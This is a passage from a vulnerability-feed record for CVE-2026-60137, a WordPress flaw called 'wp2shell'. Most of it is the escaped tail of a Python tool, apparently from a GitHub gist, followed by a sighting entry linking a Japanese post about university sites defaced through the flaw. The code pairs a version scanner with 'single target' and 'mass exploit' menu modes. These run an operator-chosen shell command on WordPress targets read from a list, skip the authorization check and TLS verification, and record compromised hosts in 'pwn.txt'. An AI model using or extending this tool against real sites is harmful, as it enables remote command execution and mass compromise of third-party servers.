config.include_request_log)\n            probe = analyze_active_probe(probe_response)\n            if best_probe is None:\n                best_probe = probe\n            if probe.vulnerable_signal or probe.patched_signal:\n                best_probe = probe\n                break\n            if probe.result not in {\"blocked-or-unavailable\", \"transport-error\"}:\n                best_probe = probe\n        result.active_probe = best_probe or ActiveProbeResult(\n            attempted=True, result=\"indeterminate\")\n\n    finalize_scan_result(result)\n    return result\n\n\ndef run_remote(args: argparse.Namespace, parser: argparse.ArgumentParser) -> int:\n    authorized = args.authorized or os.environ.get(\"WP2SHELL_AUTHORIZED\") == \"1\"\n    if not authorized:\n        parser.error(\"remote scanning requires --authorized \"\n                     \"(or WP2SHELL_AUTHORIZED=1) to acknowledge target authorization\")\n    if not 1 <= args.concurrency <= MAX_CONCURRENCY:\n        parser.error(f\"--concurrency must be between 1 and {MAX_CONCURRENCY}\")\n    if args.rate < 0:\n        parser.error(\"--rate cannot be negative\")\n    if args.timeout <= 0:\n        parser.error(\"--timeout must be greater than zero\")\n    if not 0 <= args.retries <= 5:\n        parser.error(\"--retries must be between 0 and 5\")\n    if not 1024 <= args.max_body_bytes <= 16 * 1024 * 1024:\n        parser.error(\"--max-body-bytes must be between 1024 and 16777216\")\n    try:\n        headers = parse_headers(args.header)\n        targets = read_targets(args.target, args.targets_file, args.stdin,\n                                args.max_targets)\n    except ValueError as exc:\n        parser.error(str(exc))\n\n    config = ScanConfig(\n        timeout=args.timeout, retries=args.retries,\n        max_body_bytes=args.max_body_bytes, verify_tls=not args.insecure,\n        follow_redirects=not args.no_redirects,\n        allow_cross_host_redirects=args.allow_cross_host_redirects,\n        proxy=args.proxy, headers=headers, user_agent=args.user_agent,\n        rate_limit=args.rate, fingerprint_level=args.fingerprint_level,\n        active_probe=args.active_probe, rest_endpoint=args.rest_endpoint,\n        include_request_log=args.include_request_log,\n        default_scheme=args.default_scheme,\n    )\n    limiter = RateLimiter(config.rate_limit)\n\n    results: list[ScanResult] = []\n    total = len(targets)\n    done = 0\n    candidates = 0\n    plock = threading.Lock()\n    hit_verdicts = {\n        \"CONFIRMED_VULNERABLE_BEHAVIOR\", \"CONFIRMED_AFFECTED_VERSION\",\n        \"LIKELY_VULNERABLE\", \"VULNERABLE_SQLI_ONLY\",\n        \"AFFECTED_VERSION_BUT_BEHAVIOR_NOT_OBSERVED\",\n        \"POTENTIALLY_EXPOSED_VERSION_UNKNOWN\",\n    }\n\n    print()\n    print(box_top(\"REMOTE SCAN\"))\n    print(box_line())\n    print(box_line(f\"   {lav('targets')} : {white(str(total))}\"\n                   f\"    {lav('workers')} : {white(str(args.concurrency))}\"\n                   f\"    {lav('rate')}    : {white(str(args.rate) + '/s')}\"))\n    print(box_line())\n    print(box_bot())\n    print()\n\n    if args.format == \"csv\" and args.output:\n        try:\n            Path(args.output).write_text(\"\", encoding=\"utf-8\")\n        except OSError:\n            pass\n\n    with concurrent.futures.ThreadPoolExecutor(max_workers=args.concurrency) as executor:\n        future_map = {\n            executor.submit(scan_target, target, config,\n                            RateLimiter(config.rate_limit)): target\n            for target in targets\n        }\n        for future in concurrent.futures.as_completed(future_map):\n            target = future_map[future]\n            try:\n                res = future.result()\n            except Exception as exc:\n                res = ScanResult(target=target)\n                res.errors.append(f\"internal scanner error: \"\n                                  f\"{type(exc).__name__}: {exc}\")\n                finalize_scan_result(res)\n            results.append(res)\n            done += 1\n            if args.format == \"csv\" and args.output:\n                with plock:\n                    try:\n                        _csv_append(args.output, res.as_dict(), done == 1)\n                    except OSError:\n                        pass\n            with plock:\n                if res.verdict in hit_verdicts:\n                    candidates += 1\n                    print(f\"  {amber('\u2b21')}  {white(target)}  \"\n                          f\"{amber(res.verdict)}  \"\n                          f\"{dim(f'[{done}/{total}]')} hits={candidates}\",\n                          flush=True)\n                elif done % 25 == 0 or done == total:\n                    print(dim(f\"  [*] {done}/{total}  hits={candidates}\"),\n                          flush=True)\n\n    results.sort(key=lambda item: (-severity_rank(item.severity), item.target))\n    rows = [item.as_dict() for item in results]\n    print()\n    print(dim(f\"scan done: {candidates} candidate(s) of {total} target(s)\"))\n    output_results(rows, args.format, args.output)\n    return exit_code_for(rows, args.fail_on)\n\n\ndef run_local(args: argparse.Namespace) -> int:\n    result = scan_local(args.wordpress_root)\n    rows = [result.as_dict()]\n    output_results(rows, args.format, args.output)\n    return exit_code_for(rows, args.fail_on)\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  INTERACTIVE MODE\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\ndef _ask(prompt: str, default: str) -> str:\n    print(prompt, end=\"\", flush=True)\n    try:\n        value = input().strip()\n    except (EOFError, KeyboardInterrupt):\n        value = \"\"\n    return value or default\n\n\ndef run_interactive(parser) -> int:\n    \"\"\"Modern purple menu.\"\"\"\n    while True:\n        print()\n        print(box_top(\"MAIN MENU\"))\n        print(box_line())\n        print(box_line(f\"   {mint('1')}  {white('single target')}\"\n                       f\"     {dim('\u2014 interactive wizard')}\"))\n        print(box_line(f\"   {cyan('2')}  {white('mass exploit')}\"\n                       f\"      {dim('\u2014 targets.txt list')}\"))\n        print(box_line(f\"   {violet('3')}  {white('remote scan')}\"\n                       f\"       {dim('\u2014 version + behavior check')}\"))\n        print(box_line(f\"   {coral('0')}  {white('exit')}\"))\n        print(box_line())\n        print(box_bot())\n\n        try:\n            choice = input(f\"  {violet('select')} > \").strip()\n        except (EOFError, KeyboardInterrupt):\n            print()\n            return 0\n\n        if choice in (\"0\", \"exit\", \"quit\", \"q\"):\n            print()\n            print(pink(\"bye.\"))\n            return 0\n\n        if choice == \"1\":\n            target = _ask(f\"  {violet('target')} > \", \"\")\n            if not target:\n                continue\n            cmd = _ask(f\"  {violet('cmd')}    > [{dim('id')}] \", \"id\")\n            args = argparse.Namespace(\n                command=\"single\", target=[target], cmd=cmd,\n                authorized=True, default_scheme=\"https\", timeout=DEFAULT_TIMEOUT,\n                retries=1, insecure=True, proxy=None, rate=DEFAULT_RATE,\n                header=[], debug=False, password=None, username=\"admin\",\n                wordlist=None, output=None, delay=2.0,\n                log=\"single_log.txt\", results_csv=\"single_results.csv\",\n                owned=\"pwn.txt\", no_color=False,\n            )\n            print()\n            return run_single(args, parser)\n\n        if choice == \"2\":\n            list_path = _ask(f\"  {violet('targets')} > [{dim('target.txt')}] \",\n                             \"target.txt\")\n            cmd = _ask(f\"  {violet('cmd')}     > [{dim('whoami')}] \", \"whoami\")\n            raw = _ask(f\"  {violet('workers')} > 1-{MAX_CONCURRENCY} \"\n                       f\"[{dim('10')}] \", \"10\")\n            try:\n                speed = int(raw)\n            except ValueError:\n                speed = 10\n            args = argparse.Namespace(\n                command=\"exploit\", target=[], targets_file=[list_path],\n                cmd=cmd, authorized=True, default_scheme=\"https\",\n                timeout=DEFAULT_TIMEOUT, retries=1, insecure=True,\n                proxy=None, rate=DEFAULT_RATE, header=[], debug=False,\n                password=None, username=\"admin\", wordlist=None, output=None,\n                concurrency=max(1, min(speed, MAX_CONCURRENCY)),\n                delay=2.0, log=\"exploit_log.txt\",\n                results_csv=\"results.csv\", owned=\"pwn.txt\", no_color=False,\n            )\n            print()\n            return run_exploit(args, parser)\n\n        if choice == \"3\":\n            list_path = _ask(f\"  {violet('targets')} > [{dim('target.txt')}] \",\n                             \"target.txt\")\n            raw = _ask(f\"  {violet('workers')} > 1-{MAX_CONCURRENCY} \"\n                       f\"[{dim('20')}] \", \"20\")\n            try:\n                speed = int(raw)\n            except ValueError:\n                speed = 20\n            out = _ask(f\"  {violet('output')}  > [{dim('scan.csv')}] \", \"scan.csv\")\n            args = argparse.Namespace(\n                command=\"remote\", target=[], targets_file=[list_path],\n                stdin=False, authorized=True, default_scheme=\"https\",\n                concurrency=max(1, min(speed, MAX_CONCURRENCY)),\n                rate=DEFAULT_RATE, timeout=DEFAULT_TIMEOUT, retries=1,\n                max_targets=None, max_body_bytes=DEFAULT_MAX_BODY,\n                insecure=True, no_redirects=False,\n                allow_cross_host_redirects=False, proxy=None, header=[],\n                user_agent=DEFAULT_USER_AGENT, fingerprint_level=\"standard\",\n                active_probe=True, rest_endpoint=\"both\",\n                include_request_log=False, format=\"csv\", output=out,\n                fail_on=\"vulnerable\",\n            )\n            print()\n            return run_remote(args, parser)\n\n        print(coral(\"  invalid option\"))\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  MAIN\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\ndef main(argv: Optional[Sequence[str]] = None) -> int:\n    global _ANSI\n    parser = build_parser()\n    args = parser.parse_args(argv)\n    if args.command in (None, \"exploit\", \"single\"):\n        _ANSI = (not getattr(args, \"no_color\", False)) and (\n            os.environ.get(\"FORCE_COLOR\") == \"1\" or _STDOUT_ISATTY)\n        show_banner()\n    if args.command == \"remote\":\n        _ANSI = os.environ.get(\"FORCE_COLOR\") == \"1\" or _STDOUT_ISATTY\n        return run_remote(args, parser)\n    if args.command == \"local\":\n        _ANSI = os.environ.get(\"FORCE_COLOR\") == \"1\" or _STDOUT_ISATTY\n        return run_local(args)\n    if args.command == \"exploit\":\n        return run_exploit(args, parser)\n    if args.command == \"single\":\n        return run_single(args, parser)\n    return run_interactive(parser)\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n", "url": "https://gist.github.com/roccxoubt-gif/cce148a8d885da0db87ed05e20213518"}, {"timestamp": "2026-10-13T22:29:57.846Z", "date_only": false, "value": "2026-10-13T22:29:57.846529Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3mxs3hd7zus2d", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "c466f7e6-760d-459c-911a-22e5102fc1c2", "content": "\u4eac\u90fd\u6559\u80b2\u5927\u5b66\u306e6\u30b5\u30a4\u30c8\u306b\u4e0d\u6b63\u30a2\u30af\u30bb\u30b9\u3001WordPress\u8106\u5f31\u6027\u300cwp2shell\u300d\u60aa\u7528\u3067\u30da\u30fc\u30b8\u6539\u3056\u3093\u2015CVE-2026-60137\u30fb63030 \n rocket-boys.co.jp/security-mea... \n\n#\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u7b56Lab #security #securitynews #\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 #\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30cb\u30e5\u30fc\u30b9", "url": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3mxs3hd7zus2d"}, {"timestamp": "2026-10-17T09:46:00Z", "date_only": false, "value": "2026-10-17T09:46:00Z", "kind": "other", "label": "Updated", "source": "osv_ubuntu \u00b7 UBUNTU-CVE-2026-60137", "record": "UBUNTU-CVE-2026-60137", "field": "modified"}]}